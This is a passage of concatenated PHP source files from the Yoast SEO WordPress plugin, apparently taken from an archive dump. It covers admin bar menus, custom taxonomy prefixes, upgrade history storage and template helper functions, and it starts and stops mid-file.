		// If the current user can't write posts, this is all of no use, so let's not output an admin menu.
		if ( ! current_user_can( 'edit_posts' ) ) {
			return;
		}

		$this->asset_manager->register_assets();
		$this->asset_manager->enqueue_style( 'adminbar' );
	}

	/**
	 * Registers the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( ! $this->meets_requirements() ) {
			return;
		}

		add_action( 'admin_bar_menu', [ $this, 'add_menu' ], 95 );

		add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_assets' ] );
		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
	}

	/**
	 * Checks whether the requirements to use this class are met.
	 *
	 * @return bool True if requirements are met, false otherwise.
	 */
	public function meets_requirements() {
		if ( is_network_admin() ) {
			return WPSEO_Utils::is_plugin_network_active();
		}

		if ( WPSEO_Options::get( 'enable_admin_bar_menu' ) !== true ) {
			return false;
		}

		return ! is_admin() || is_blog_admin();
	}

	/**
	 * Adds the admin bar root menu.
	 *
	 * @param WP_Admin_Bar $wp_admin_bar Admin bar instance to add the menu to.
	 *
	 * @return void
	 */
	protected function add_root_menu( WP_Admin_Bar $wp_admin_bar ) {
		$title = $this->get_title();

		$score              = '';
		$settings_url       = '';
		$counter            = '';
		$notification_popup = '';
		$notification_count = 0;

		$post = $this->get_singular_post();
		if ( $post ) {
			$score = $this->get_post_score( $post );
		}

		$term = $this->get_singular_term();
		if ( $term ) {
			$score = $this->get_term_score( $term );
		}

		$can_manage_options = $this->can_manage_options();

		if ( $can_manage_options ) {
			$settings_url = $this->get_settings_page_url();
		}

		if ( empty( $score ) && ! is_network_admin() && $can_manage_options ) {
			$notification_center = Yoast_Notification_Center::get();
			$notification_count  = $notification_center->get_notification_count();

			$counter            = $this->get_notification_counter( $notification_count );
			$notification_popup = $this->get_notification_popup();
		}

		$admin_bar_menu_args = [
			'id'    => self::MENU_IDENTIFIER,
			'title' => $title . $score . $counter . $notification_popup,
			'href'  => $settings_url,
			'meta'  => [ 'tabindex' => ! empty( $settings_url ) ? false : '0' ],
		];
		$wp_admin_bar->add_menu( $admin_bar_menu_args );

		if ( $notification_count > 0 ) {
			$admin_bar_menu_args = [
				'parent' => self::MENU_IDENTIFIER,
				'id'     => 'wpseo-notifications',
				'title'  => __( 'Notifications', 'wordpress-seo' ) . $counter,
				'href'   => empty( $settings_url ) ? '' : $settings_url . '#/alert-center',
				'meta'   => [ 'tabindex' => ! empty( $settings_url ) ? false : '0' ],
			];
			$wp_admin_bar->add_menu( $admin_bar_menu_args );
		}
	}

	/**
	 * Adds the admin bar analysis submenu.
	 *
	 * @param WP_Admin_Bar $wp_admin_bar Admin bar instance to add the menu to.
	 *
	 * @return void
	 */
	protected function add_analysis_submenu( WP_Admin_Bar $wp_admin_bar ) {
		try {
			$url = YoastSEO()->meta->for_current_page()->canonical;
		} catch ( Exception $e ) {
			// This is not the type of error we can handle here.
			return;
		}

		if ( ! $url ) {
			return;
		}

		$menu_args = [
			'parent' => self::MENU_IDENTIFIER,
			'id'     => self::ANALYSIS_SUBMENU_IDENTIFIER,
			'title'  => __( 'Analyze this page', 'wordpress-seo' ),
			'meta'   => [ 'tabindex' => '0' ],
		];
		$wp_admin_bar->add_menu( $menu_args );

		$encoded_url   = rawurlencode( $url );
		$submenu_items = [
			[
				'id'    => 'wpseo-inlinks',
				'title' => __( 'Check links to this URL', 'wordpress-seo' ),
				'href'  => 'https://search.google.com/search-console/links/drilldown?resource_id=' . rawurlencode( get_option( 'siteurl' ) ) . '&type=EXTERNAL&target=' . $encoded_url . '&domain=',
			],
			[
				'id'    => 'wpseo-structureddata',
				'title' => __( 'Google Rich Results Test', 'wordpress-seo' ),
				'href'  => 'https://search.google.com/test/rich-results?url=' . $encoded_url,
			],
			[
				'id'    => 'wpseo-facebookdebug',
				'title' => __( 'Facebook Debugger', 'wordpress-seo' ),
				'href'  => '//developers.facebook.com/tools/debug/?q=' . $encoded_url,
			],
			[
				'id'    => 'wpseo-pagespeed',
				'title' => __( 'Google Page Speed Test', 'wordpress-seo' ),
				'href'  => '//developers.google.com/speed/pagespeed/insights/?url=' . $encoded_url,
			],
		];

		$this->add_submenu_items( $submenu_items, $wp_admin_bar, self::ANALYSIS_SUBMENU_IDENTIFIER );
	}

	/**
	 * Adds the admin bar tools submenu.
	 *
	 * @param WP_Admin_Bar $wp_admin_bar Admin bar instance to add the menu to.
	 *
	 * @return void
	 */
	protected function add_seo_tools_submenu( WP_Admin_Bar $wp_admin_bar ) {
		$menu_args = [
			'parent' => self::MENU_IDENTIFIER,
			'id'     => 'wpseo-sub-tools',
			'title'  => __( 'SEO Tools', 'wordpress-seo' ),
			'meta'   => [ 'tabindex' => '0' ],
		];
		$wp_admin_bar->add_menu( $menu_args );

		$submenu_items = [
			[
				'id'    => 'wpseo-semrush',
				'title' => 'Semrush',
				'href'  => $this->shortlinker->build_shortlink( 'https://yoa.st/admin-bar-semrush' ),
			],
			[
				'id'    => 'wpseo-wincher',
				'title' => 'Wincher',
				'href'  => $this->shortlinker->build_shortlink( 'https://yoa.st/admin-bar-wincher' ),
			],
			[
				'id'    => 'wpseo-google-trends',
				'title' => 'Google trends',
				'href'  => $this->shortlinker->build_shortlink( 'https://yoa.st/admin-bar-gtrends' ),
			],
		];

		$this->add_submenu_items( $submenu_items, $wp_admin_bar, 'wpseo-sub-tools' );
	}

	/**
	 * Adds the admin bar How To submenu.
	 *
	 * @param WP_Admin_Bar $wp_admin_bar Admin bar instance to add the menu to.
	 *
	 * @return void
	 */
	protected function add_how_to_submenu( WP_Admin_Bar $wp_admin_bar ) {
		$menu_args = [
			'parent' => self::MENU_IDENTIFIER,
			'id'     => 'wpseo-sub-howto',
			'title'  => __( 'How to', 'wordpress-seo' ),
			'meta'   => [ 'tabindex' => '0' ],
		];
		$wp_admin_bar->add_menu( $menu_args );

		$submenu_items = [
			[
				'id'    => 'wpseo-learn-seo',
				'title' => __( 'Learn more SEO', 'wordpress-seo' ),
				'href'  => $this->shortlinker->build_shortlink( 'https://yoa.st/admin-bar-learn-more-seo' ),
			],
			[
				'id'    => 'wpseo-improve-blogpost',
				'title' => __( 'Improve your blog post', 'wordpress-seo' ),
				'href'  => $this->shortlinker->build_shortlink( 'https://yoa.st/admin-bar-improve-blog-post' ),
			],
			[
				'id'    => 'wpseo-write-better-content',
				'title' => __( 'Write better content', 'wordpress-seo' ),
				'href'  => $this->shortlinker->build_shortlink( 'https://yoa.st/admin-bar-write-better' ),
			],
		];

		$this->add_submenu_items( $submenu_items, $wp_admin_bar, 'wpseo-sub-howto' );
	}

	/**
	 * Adds the admin bar How To submenu.
	 *
	 * @param WP_Admin_Bar $wp_admin_bar Admin bar instance to add the menu to.
	 *
	 * @return void
	 */
	protected function add_get_help_submenu( WP_Admin_Bar $wp_admin_bar ) {
		$menu_args = [
			'parent' => self::MENU_IDENTIFIER,
			'id'     => 'wpseo-sub-get-help',
			'title'  => __( 'Help', 'wordpress-seo' ),
			'meta'   => [ 'tabindex' => '0' ],
		];

		if ( current_user_can( Support_Integration::CAPABILITY ) ) {
			$menu_args['href'] = admin_url( 'admin.php?page=' . Support_Integration::PAGE );
			$wp_admin_bar->add_menu( $menu_args );

			return;
		}
		$wp_admin_bar->add_menu( $menu_args );

		$submenu_items = [
			[
				'id'    => 'wpseo-yoast-help',
				'title' => __( 'Yoast.com help section', 'wordpress-seo' ),
				'href'  => $this->shortlinker->build_shortlink( 'https://yoa.st/admin-bar-yoast-help' ),
			],
			[
				'id'    => 'wpseo-premium-support',
				'title' => __( 'Yoast Premium support', 'wordpress-seo' ),
				'href'  => $this->shortlinker->build_shortlink( 'https://yoa.st/admin-bar-premium-support' ),
			],
			[
				'id'    => 'wpseo-wp-support-forums',
				'title' => __( 'WordPress.org support forums', 'wordpress-seo' ),
				'href'  => $this->shortlinker->build_shortlink( 'https://yoa.st/admin-bar-wp-support-forums' ),
			],
			[
				'id'    => 'wpseo-learn-seo-2',
				'title' => __( 'Learn more SEO', 'wordpress-seo' ),
				'href'  => $this->shortlinker->build_shortlink( 'https://yoa.st/admin-bar-learn-more-seo-help' ),
			],
		];

		$this->add_submenu_items( $submenu_items, $wp_admin_bar, 'wpseo-sub-get-help' );
	}

	/**
	 * Adds the admin bar How To submenu.
	 *
	 * @param WP_Admin_Bar $wp_admin_bar Admin bar instance to add the menu to.
	 *
	 * @return void
	 */
	protected function add_premium_link( WP_Admin_Bar $wp_admin_bar ) {
		$sale_percentage = '';
		if ( YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2024-promotion' ) ) {
			$sale_percentage = sprintf(
				'<span class="admin-bar-premium-promotion">%1$s</span>',
				esc_html__( '30% OFF', 'wordpress-seo' )
			);
		}
		$wp_admin_bar->add_menu(
			[
				'parent' => self::MENU_IDENTIFIER,
				'id'     => 'wpseo-get-premium',
				// Circumvent an issue in the WP admin bar API in order to pass `data` attributes. See https://core.trac.wordpress.org/ticket/38636.
				'title'  => sprintf(
					'<a href="%1$s" target="_blank" data-action="load-nfd-ctb" data-ctb-id="f6a84663-465f-4cb5-8ba5-f7a6d72224b2" style="padding:0;">%2$s &raquo; %3$s</a>',
					esc_url( $this->shortlinker->build_shortlink( 'https://yoa.st/admin-bar-get-premium' ) ),
					esc_html__( 'Get Yoast SEO Premium', 'wordpress-seo' ),
					$sale_percentage
				),
				'meta'   => [
					'tabindex' => '0',
				],
			]
		);
	}

	/**
	 * Adds the admin bar settings submenu.
	 *
	 * @param WP_Admin_Bar $wp_admin_bar Admin bar instance to add the menu to.
	 *
	 * @return void
	 */
	protected function add_settings_submenu( WP_Admin_Bar $wp_admin_bar ) {
		if ( ! $this->can_manage_options() ) {
			return;
		}

		$admin_menu    = new WPSEO_Admin_Menu( new WPSEO_Menu() );
		$submenu_pages = $admin_menu->get_submenu_pages();

		$menu_args = [
			'parent' => self::MENU_IDENTIFIER,
			'id'     => self::SETTINGS_SUBMENU_IDENTIFIER,
			'title'  => __( 'SEO Settings', 'wordpress-seo' ),
			'meta'   => [ 'tabindex' => '0' ],
		];
		$wp_admin_bar->add_menu( $menu_args );

		foreach ( $submenu_pages as $submenu_page ) {
			if ( ! current_user_can( $submenu_page[3] ) ) {
				continue;
			}

			// Don't add the Google Search Console menu item.
			if ( $submenu_page[4] === 'wpseo_search_console' ) {
				continue;
			}

			$id = 'wpseo-' . str_replace( '_', '-', str_replace( 'wpseo_', '', $submenu_page[4] ) );
			if ( $id === 'wpseo-dashboard' ) {
				$id = 'wpseo-general';
			}

			$menu_args = [
				'parent' => self::SETTINGS_SUBMENU_IDENTIFIER,
				'id'     => $id,
				'title'  => $submenu_page[2],
				'href'   => admin_url( 'admin.php?page=' . rawurlencode( $submenu_page[4] ) ),
			];
			$wp_admin_bar->add_menu( $menu_args );
		}
	}

	/**
	 * Adds the admin bar network settings submenu.
	 *
	 * @param WP_Admin_Bar $wp_admin_bar Admin bar instance to add the menu to.
	 *
	 * @return void
	 */
	protected function add_network_settings_submenu( WP_Admin_Bar $wp_admin_bar ) {
		if ( ! $this->can_manage_options() ) {
			return;
		}

		$network_admin_menu = new WPSEO_Network_Admin_Menu( new WPSEO_Menu() );
		$submenu_pages      = $network_admin_menu->get_submenu_pages();

		$menu_args = [
			'parent' => self::MENU_IDENTIFIER,
			'id'     => self::NETWORK_SETTINGS_SUBMENU_IDENTIFIER,
			'title'  => __( 'SEO Settings', 'wordpress-seo' ),
			'meta'   => [ 'tabindex' => '0' ],
		];
		$wp_admin_bar->add_menu( $menu_args );

		foreach ( $submenu_pages as $submenu_page ) {
			if ( ! current_user_can( $submenu_page[3] ) ) {
				continue;
			}

			$id = 'wpseo-' . str_replace( '_', '-', str_replace( 'wpseo_', '', $submenu_page[4] ) );
			if ( $id === 'wpseo-dashboard' ) {
				$id = 'wpseo-general';
			}

			$menu_args = [
				'parent' => self::NETWORK_SETTINGS_SUBMENU_IDENTIFIER,
				'id'     => $id,
				'title'  => $submenu_page[2],
				'href'   => network_admin_url( 'admin.php?page=' . rawurlencode( $submenu_page[4] ) ),
			];
			$wp_admin_bar->add_menu( $menu_args );
		}
	}

	/**
	 * Gets the menu title markup.
	 *
	 * @return string Admin bar title markup.
	 */
	protected function get_title() {
		return '<div id="yoast-ab-icon" class="ab-item yoast-logo svg"><span class="screen-reader-text">' . __( 'SEO', 'wordpress-seo' ) . '</span></div>';
	}

	/**
	 * Gets the current post if in a singular post context.
	 *
	 * @global string       $pagenow Current page identifier.
	 * @global WP_Post|null $post    Current post object, or null if none available.
	 *
	 * @return WP_Post|null Post object, or null if not in singular context.
	 */
	protected function get_singular_post() {
		global $pagenow, $post;

		if ( ! is_singular() && ( ! is_blog_admin() || ! WPSEO_Metabox::is_post_edit( $pagenow ) ) ) {
			return null;
		}

		if ( ! isset( $post ) || ! is_object( $post ) || ! $post instanceof WP_Post ) {
			return null;
		}

		return $post;
	}

	/**
	 * Gets the focus keyword for a given post.
	 *
	 * @param WP_Post $post Post object to get its focus keyword.
	 *
	 * @return string Focus keyword, or empty string if none available.
	 */
	protected function get_post_focus_keyword( $post ) {
		if ( ! is_object( $post ) || ! property_exists( $post, 'ID' ) ) {
			return '';
		}

		/**
		 * Filter: 'wpseo_use_page_analysis' Determines if the analysis should be enabled.
		 *
		 * @param bool $enabled Determines if the analysis should be enabled.
		 */
		if ( apply_filters( 'wpseo_use_page_analysis', true ) !== true ) {
			return '';
		}

		return WPSEO_Meta::get_value( 'focuskw', $post->ID );
	}

	/**
	 * Gets the score for a given post.
	 *
	 * @param WP_Post $post Post object to get its score.
	 *
	 * @return string Score markup, or empty string if none available.
	 */
	protected function get_post_score( $post ) {
		if ( ! is_object( $post ) || ! property_exists( $post, 'ID' ) ) {
			return '';
		}

		if ( apply_filters( 'wpseo_use_page_analysis', true ) !== true ) {
			return '';
		}

		return $this->get_score_icon();
	}

	/**
	 * Gets the current term if in a singular term context.
	 *
	 * @global string       $pagenow  Current page identifier.
	 * @global WP_Query     $wp_query Current query object.
	 * @global WP_Term|null $tag      Current term object, or null if none available.
	 *
	 * @return WP_Term|null Term object, or null if not in singular context.
	 */
	protected function get_singular_term() {
		global $pagenow, $wp_query, $tag;

		if ( is_category() || is_tag() || is_tax() ) {
			return $wp_query->get_queried_object();
		}

		if ( WPSEO_Taxonomy::is_term_edit( $pagenow ) && ! WPSEO_Taxonomy::is_term_overview( $pagenow ) && isset( $tag ) && is_object( $tag ) && ! is_wp_error( $tag ) ) {
			return get_term( $tag->term_id );
		}

		return null;
	}

	/**
	 * Gets the score for a given term.
	 *
	 * @param WP_Term $term Term object to get its score.
	 *
	 * @return string Score markup, or empty string if none available.
	 */
	protected function get_term_score( $term ) {
		if ( ! is_object( $term ) || ! property_exists( $term, 'term_id' ) || ! property_exists( $term, 'taxonomy' ) ) {
			return '';
		}

		return $this->get_score_icon();
	}

	/**
	 * Create the score icon.
	 *
	 * @return string The score icon, or empty string.
	 */
	protected function get_score_icon() {
		$is_seo_enabled         = $this->get_is_seo_enabled();
		$is_readability_enabled = $this->get_is_readability_enabled();

		$indexable = $this->get_current_indexable();

		if ( $is_seo_enabled ) {
			return $this->score_icon_helper->for_seo( $indexable, 'adminbar-seo-score' )->present();
		}

		if ( $is_readability_enabled ) {
			return $this->score_icon_helper->for_readability( $indexable->readability_score, 'adminbar-seo-score' )
				->present();
		}

		return '';
	}

	/**
	 * Gets the URL to the main admin settings page.
	 *
	 * @return string Admin settings page URL.
	 */
	protected function get_settings_page_url() {
		return self_admin_url( 'admin.php?page=' . WPSEO_Admin::PAGE_IDENTIFIER );
	}

	/**
	 * Gets the notification counter if in a valid context.
	 *
	 * @param int $notification_count Number of notifications.
	 *
	 * @return string Notification counter markup, or empty string if not available.
	 */
	protected function get_notification_counter( $notification_count ) {
		/* translators: Hidden accessibility text; %s: number of notifications. */
		$counter_screen_reader_text = sprintf( _n( '%s notification', '%s notifications', $notification_count, 'wordpress-seo' ), number_format_i18n( $notification_count ) );

		return sprintf(
			' <div class="wp-core-ui wp-ui-notification yoast-issue-counter%s"><span class="yoast-issues-count" aria-hidden="true">%d</span><span class="screen-reader-text">%s</span></div>',
			( $notification_count ) ? '' : ' wpseo-no-adminbar-notifications',
			$notification_count,
			$counter_screen_reader_text
		);
	}

	/**
	 * Gets the notification popup if in a valid context.
	 *
	 * @return string Notification popup markup, or empty string if not available.
	 */
	protected function get_notification_popup() {
		$notification_center     = Yoast_Notification_Center::get();
		$new_notifications       = $notification_center->get_new_notifications();
		$new_notifications_count = count( $new_notifications );

		if ( ! $new_notifications_count ) {
			return '';
		}

		$notification = sprintf(
			_n(
				'There is a new notification.',
				'There are new notifications.',
				$new_notifications_count,
				'wordpress-seo'
			),
			$new_notifications_count
		);

		return '<div class="yoast-issue-added">' . $notification . '</div>';
	}

	/**
	 * Checks whether the current user can manage options in the current context.
	 *
	 * @return bool True if capabilities are sufficient, false otherwise.
	 */
	protected function can_manage_options() {
		return ( is_network_admin() && current_user_can( 'wpseo_manage_network_options' ) )
			|| ( ! is_network_admin() && WPSEO_Capability_Utils::current_user_can( 'wpseo_manage_options' ) );
	}

	/**
	 * Add submenu items to a menu item.
	 *
	 * @param array        $submenu_items Submenu items array.
	 * @param WP_Admin_Bar $wp_admin_bar  Admin bar object.
	 * @param string       $parent_id     Parent menu item ID.
	 *
	 * @return void
	 */
	protected function add_submenu_items( array $submenu_items, WP_Admin_Bar $wp_admin_bar, $parent_id ) {
		foreach ( $submenu_items as $menu_item ) {
			$menu_args = [
				'parent' => $parent_id,
				'id'     => $menu_item['id'],
				'title'  => $menu_item['title'],
				'href'   => $menu_item['href'],
				'meta'   => [ 'target' => '_blank' ],
			];
			$wp_admin_bar->add_menu( $menu_args );
		}
	}
}
wordpress-seo/inc/class-wpseo-custom-taxonomies.php000064400000003134147510273100016577 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO
 */

/**
 * WPSEO_Custom_Taxonomies.
 */
class WPSEO_Custom_Taxonomies {

	/**
	 * Custom taxonomies cache.
	 *
	 * @var array
	 */
	protected static $custom_taxonomies = null;

	/**
	 * Gets the names of the custom taxonomies, prepends 'ct_' and 'ct_desc', and returns them in an array.
	 *
	 * @return array The custom taxonomy prefixed names.
	 */
	public static function get_custom_taxonomies() {
		// Use cached value if available.
		if ( ! is_null( self::$custom_taxonomies ) ) {
			return self::$custom_taxonomies;
		}

		self::$custom_taxonomies = [];
		$args                    = [
			'public'   => true,
			'_builtin' => false,
		];
		$custom_taxonomies       = get_taxonomies( $args, 'names', 'and' );

		if ( is_array( $custom_taxonomies ) ) {
			foreach ( $custom_taxonomies as $custom_taxonomy ) {
				array_push(
					self::$custom_taxonomies,
					self::add_custom_taxonomies_prefix( $custom_taxonomy ),
					self::add_custom_taxonomies_description_prefix( $custom_taxonomy )
				);
			}
		}

		return self::$custom_taxonomies;
	}

	/**
	 * Adds the ct_ prefix to a taxonomy.
	 *
	 * @param string $taxonomy The taxonomy to prefix.
	 *
	 * @return string The prefixed taxonomy.
	 */
	private static function add_custom_taxonomies_prefix( $taxonomy ) {
		return 'ct_' . $taxonomy;
	}

	/**
	 * Adds the ct_desc_ prefix to a taxonomy.
	 *
	 * @param string $taxonomy The taxonomy to prefix.
	 *
	 * @return string The prefixed taxonomy.
	 */
	private static function add_custom_taxonomies_description_prefix( $taxonomy ) {
		return 'ct_desc_' . $taxonomy;
	}
}
wordpress-seo/inc/class-upgrade-history.php000064400000006066147510273100015103 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internal
 */

/**
 * This class handles storing the current options for future reference.
 *
 * This should only be used during an upgrade routine.
 */
class WPSEO_Upgrade_History {

	/**
	 * Option to use to store/retrieve data from.
	 *
	 * @var string
	 */
	protected $option_name = 'wpseo_upgrade_history';

	/**
	 * WPSEO_Upgrade_History constructor.
	 *
	 * @param string|null $option_name Optional. Custom option to use to store/retrieve history from.
	 */
	public function __construct( $option_name = null ) {
		if ( $option_name !== null ) {
			$this->option_name = $option_name;
		}
	}

	/**
	 * Retrieves the content of the history items currently stored.
	 *
	 * @return array<array<string>> The contents of the history option.
	 */
	public function get() {
		$data = get_option( $this->get_option_name(), [] );
		if ( ! is_array( $data ) ) {
			return [];
		}

		return $data;
	}

	/**
	 * Adds a new history entry in the storage.
	 *
	 * @param string        $old_version  The version we are upgrading from.
	 * @param string        $new_version  The version we are upgrading to.
	 * @param array<string> $option_names The options that need to be stored.
	 *
	 * @return void
	 */
	public function add( $old_version, $new_version, array $option_names ) {
		$option_data = [];
		if ( $option_names !== [] ) {
			$option_data = $this->get_options_data( $option_names );
		}

		// Retrieve current history.
		$data = $this->get();

		// Add new entry.
		$data[ time() ] = [
			'options'     => $option_data,
			'old_version' => $old_version,
			'new_version' => $new_version,
		];

		// Store the data.
		$this->set( $data );
	}

	/**
	 * Retrieves the data for the specified option names from the database.
	 *
	 * @param array<string> $option_names The option names to retrieve.
	 *
	 * @return array<int|string|bool|float,array<string|int|bool|float>> The retrieved data.
	 */
	protected function get_options_data( array $option_names ) {
		$wpdb = $this->get_wpdb();

		$results = $wpdb->get_results(
			$wpdb->prepare(
				'
				SELECT %i, %i FROM ' . $wpdb->options . ' WHERE
				%i IN ( ' . implode( ',', array_fill( 0, count( $option_names ), '%s' ) ) . ' )
				',
				array_merge( [ 'option_value', 'option_name', 'option_name' ], $option_names )
			),
			ARRAY_A
		);

		$data = [];
		foreach ( $results as $result ) {
			$data[ $result['option_name'] ] = maybe_unserialize( $result['option_value'] );
		}

		return $data;
	}

	/**
	 * Stores the new history state.
	 *
	 * @param array<array<string>> $data The data to store.
	 *
	 * @return void
	 */
	protected function set( array $data ) {
		// This should not be autoloaded!
		update_option( $this->get_option_name(), $data, false );
	}

	/**
	 * Retrieves the WPDB object.
	 *
	 * @return wpdb The WPDB object to use.
	 */
	protected function get_wpdb() {
		global $wpdb;

		return $wpdb;
	}

	/**
	 * Retrieves the option name to store the history in.
	 *
	 * @return string The option name to store the history in.
	 */
	protected function get_option_name() {
		return $this->option_name;
	}
}
wordpress-seo/inc/interface-wpseo-wordpress-ajax-integration.php000064400000000446147510273100021231 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO
 */

/**
 * An interface for registering AJAX integrations with WordPress.
 */
interface WPSEO_WordPress_AJAX_Integration {

	/**
	 * Registers all AJAX hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_ajax_hooks();
}
wordpress-seo/inc/wpseo-functions.php000064400000022002147510273100014001 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

if ( ! function_exists( 'yoast_breadcrumb' ) ) {
	/**
	 * Template tag for breadcrumbs.
	 *
	 * @param string $before  What to show before the breadcrumb.
	 * @param string $after   What to show after the breadcrumb.
	 * @param bool   $display Whether to display the breadcrumb (true) or return it (false).
	 *
	 * @return string
	 */
	function yoast_breadcrumb( $before = '', $after = '', $display = true ) {
		$breadcrumbs_enabled = current_theme_supports( 'yoast-seo-breadcrumbs' );
		if ( ! $breadcrumbs_enabled ) {
			$breadcrumbs_enabled = WPSEO_Options::get( 'breadcrumbs-enable', false );
		}

		if ( $breadcrumbs_enabled ) {
			return WPSEO_Breadcrumbs::breadcrumb( $before, $after, $display );
		}
	}
}

if ( ! function_exists( 'yoast_get_primary_term_id' ) ) {
	/**
	 * Get the primary term ID.
	 *
	 * @param string           $taxonomy Optional. The taxonomy to get the primary term ID for. Defaults to category.
	 * @param int|WP_Post|null $post     Optional. Post to get the primary term ID for.
	 *
	 * @return bool|int
	 */
	function yoast_get_primary_term_id( $taxonomy = 'category', $post = null ) {
		$post = get_post( $post );

		$primary_term = new WPSEO_Primary_Term( $taxonomy, $post->ID );
		return $primary_term->get_primary_term();
	}
}

if ( ! function_exists( 'yoast_get_primary_term' ) ) {
	/**
	 * Get the primary term name.
	 *
	 * @param string           $taxonomy Optional. The taxonomy to get the primary term for. Defaults to category.
	 * @param int|WP_Post|null $post     Optional. Post to get the primary term for.
	 *
	 * @return string Name of the primary term.
	 */
	function yoast_get_primary_term( $taxonomy = 'category', $post = null ) {
		$primary_term_id = yoast_get_primary_term_id( $taxonomy, $post );

		$term = get_term( $primary_term_id );
		if ( ! is_wp_error( $term ) && ! empty( $term ) ) {
			return $term->name;
		}

		return '';
	}
}

/**
 * Replace `%%variable_placeholders%%` with their real value based on the current requested page/post/cpt.
 *
 * @param string $text The string to replace the variables in.
 * @param object $args The object some of the replacement values might come from,
 *                     could be a post, taxonomy or term.
 * @param array  $omit Variables that should not be replaced by this function.
 *
 * @return string
 */
function wpseo_replace_vars( $text, $args, $omit = [] ) {
	$replacer = new WPSEO_Replace_Vars();

	return $replacer->replace( $text, $args, $omit );
}

/**
 * Register a new variable replacement.
 *
 * This function is for use by other plugins/themes to easily add their own additional variables to replace.
 * This function should be called from a function on the 'wpseo_register_extra_replacements' action hook.
 * The use of this function is preferred over the older 'wpseo_replacements' filter as a way to add new replacements.
 * The 'wpseo_replacements' filter should still be used to adjust standard WPSEO replacement values.
 * The function can not be used to replace standard WPSEO replacement value functions and will thrown a warning
 * if you accidently try.
 * To avoid conflicts with variables registered by WPSEO and other themes/plugins, try and make the
 * name of your variable unique. Variable names also can not start with "%%cf_" or "%%ct_" as these are reserved
 * for the standard WPSEO variable variables 'cf_<custom-field-name>', 'ct_<custom-tax-name>' and
 * 'ct_desc_<custom-tax-name>'.
 * The replacement function will be passed the undelimited name (i.e. stripped of the %%) of the variable
 * to replace in case you need it.
 *
 * Example code:
 * <code>
 * <?php
 * function retrieve_var1_replacement( $var1 ) {
 *        return 'your replacement value';
 * }
 *
 * function register_my_plugin_extra_replacements() {
 *        wpseo_register_var_replacement( '%%myvar1%%', 'retrieve_var1_replacement', 'advanced', 'this is a help text for myvar1' );
 *        wpseo_register_var_replacement( 'myvar2', array( 'class', 'method_name' ), 'basic', 'this is a help text for myvar2' );
 * }
 * add_action( 'wpseo_register_extra_replacements', 'register_my_plugin_extra_replacements' );
 * ?>
 * </code>
 *
 * @since 1.5.4
 *
 * @param string $replacevar_name  The name of the variable to replace, i.e. '%%var%%'.
 *                                 Note: the surrounding %% are optional, name can only contain [A-Za-z0-9_-].
 * @param mixed  $replace_function Function or method to call to retrieve the replacement value for the variable.
 *                                 Uses the same format as add_filter/add_action function parameter and
 *                                 should *return* the replacement value. DON'T echo it.
 * @param string $type             Type of variable: 'basic' or 'advanced', defaults to 'advanced'.
 * @param string $help_text        Help text to be added to the help tab for this variable.
 *
 * @return bool Whether the replacement function was successfully registered.
 */
function wpseo_register_var_replacement( $replacevar_name, $replace_function, $type = 'advanced', $help_text = '' ) {
	return WPSEO_Replace_Vars::register_replacement( $replacevar_name, $replace_function, $type, $help_text );
}

/**
 * WPML plugin support: Set titles for custom types / taxonomies as translatable.
 *
 * It adds new keys to a wpml-config.xml file for a custom post type title, metadesc,
 * title-ptarchive and metadesc-ptarchive fields translation.
 * Documentation: http://wpml.org/documentation/support/language-configuration-files/
 *
 * @global $sitepress
 *
 * @param array $config WPML configuration data to filter.
 *
 * @return array
 */
function wpseo_wpml_config( $config ) {
	global $sitepress;

	if ( ( is_array( $config ) && isset( $config['wpml-config']['admin-texts']['key'] ) ) && ( is_array( $config['wpml-config']['admin-texts']['key'] ) && $config['wpml-config']['admin-texts']['key'] !== [] ) ) {
		$admin_texts = $config['wpml-config']['admin-texts']['key'];
		foreach ( $admin_texts as $k => $val ) {
			if ( $val['attr']['name'] === 'wpseo_titles' ) {
				$translate_cp = array_keys( $sitepress->get_translatable_documents() );
				if ( is_array( $translate_cp ) && $translate_cp !== [] ) {
					foreach ( $translate_cp as $post_type ) {
						$admin_texts[ $k ]['key'][]['attr']['name'] = 'title-' . $post_type;
						$admin_texts[ $k ]['key'][]['attr']['name'] = 'metadesc-' . $post_type;
						$admin_texts[ $k ]['key'][]['attr']['name'] = 'title-ptarchive-' . $post_type;
						$admin_texts[ $k ]['key'][]['attr']['name'] = 'metadesc-ptarchive-' . $post_type;

						$translate_tax = $sitepress->get_translatable_taxonomies( false, $post_type );
						if ( is_array( $translate_tax ) && $translate_tax !== [] ) {
							foreach ( $translate_tax as $taxonomy ) {
								$admin_texts[ $k ]['key'][]['attr']['name'] = 'title-tax-' . $taxonomy;
								$admin_texts[ $k ]['key'][]['attr']['name'] = 'metadesc-tax-' . $taxonomy;
							}
						}
					}
				}
				break;
			}
		}
		$config['wpml-config']['admin-texts']['key'] = $admin_texts;
	}

	return $config;
}

add_filter( 'icl_wpml_config_array', 'wpseo_wpml_config' );

if ( ! function_exists( 'ctype_digit' ) ) {
	/**
	 * Emulate PHP native ctype_digit() function for when the ctype extension would be disabled *sigh*.
	 * Only emulates the behaviour for when the input is a string, does not handle integer input as ascii value.
	 *
	 * @param string $text String input to validate.
	 *
	 * @return bool
	 */
	function ctype_digit( $text ) {
		$return = false;
		if ( ( is_string( $text ) && $text !== '' ) && preg_match( '`^\d+$`', $text ) === 1 ) {
			$return = true;
		}

		return $return;
	}
}

/**
 * Makes sure the taxonomy meta is updated when a taxonomy term is split.
 *
 * @link https://make.wordpress.org/core/2015/02/16/taxonomy-term-splitting-in-4-2-a-developer-guide/ Article explaining the taxonomy term splitting in WP 4.2.
 *
 * @param string $old_term_id      Old term id of the taxonomy term that was splitted.
 * @param string $new_term_id      New term id of the taxonomy term that was splitted.
 * @param string $term_taxonomy_id Term taxonomy id for the taxonomy that was affected.
 * @param string $taxonomy         The taxonomy that the taxonomy term was splitted for.
 *
 * @return void
 */
function wpseo_split_shared_term( $old_term_id, $new_term_id, $term_taxonomy_id, $taxonomy ) {
